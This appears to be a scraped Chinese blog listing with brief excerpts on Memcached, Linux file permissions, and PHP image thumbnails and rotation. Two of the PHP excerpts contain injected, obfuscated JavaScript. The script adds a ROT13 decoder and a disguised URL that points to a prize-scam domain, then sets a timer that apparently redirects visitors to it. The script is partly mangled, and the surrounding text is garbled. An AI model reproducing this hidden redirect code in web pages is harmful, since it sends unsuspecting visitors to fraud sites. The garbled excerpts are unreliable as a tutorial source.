Memcached-1-概述

rx online 什么是Mencached 自由开源的,高性能、分布式内存对象缓存系统。(高性能是指读写速度非常之快,分布式指的是可以同时多台服务器进行部署,内存对象缓存系统指存储的数据全部在服务器的内存中,常…

Linux 基础

rx online 权限: r 读权限 查看文件 w 写权限 修改文件 x 执行权限 执行文件 权限、角色的作用: 文件/目录:所有者rwx、所属组rwx、其他用户rwx 使用ls -l以长格式查看可以看到权限 第一个参数: d:文件 …

php图像处理-3-缩略图

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
如果所有图片都加载原图的话是很慢的,php提供了两个函数来进行压缩处理,

功能:拷贝原图并调整大小

imagecopyresized():图片会失真和模糊,一般不使用
imagecopyresampled():一般使用这个函数,从采样拷贝图像并调整大小

这样就得到了一个大小比原图小一半的图像

PHP图像处理-2-旋转

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
之前介绍的是从现有已经存在的图片中创建一个图像资源,那么如何用PHP去创建一个新的图像呢?

两个函数,功能类似于创建一个画布:

imagecreate():基于调色板的图像
imagecreatetruecolor():创建一个真实色彩的图像,日常应用的时候建议使用第二种,因为色彩多参数是宽度和高度。

note:也有createjpg, createpnw,因此可以使用switch语句来设置content-type以及输出我们需要的图像,这才是我们正确的输出方式。
旋转图像

note:

imagerotate图像旋转
传入第一个参数是图像资源
第二个参数是旋转的度数
第三个参数是旋转之后留出来的位置的背景色需要我们进行设置。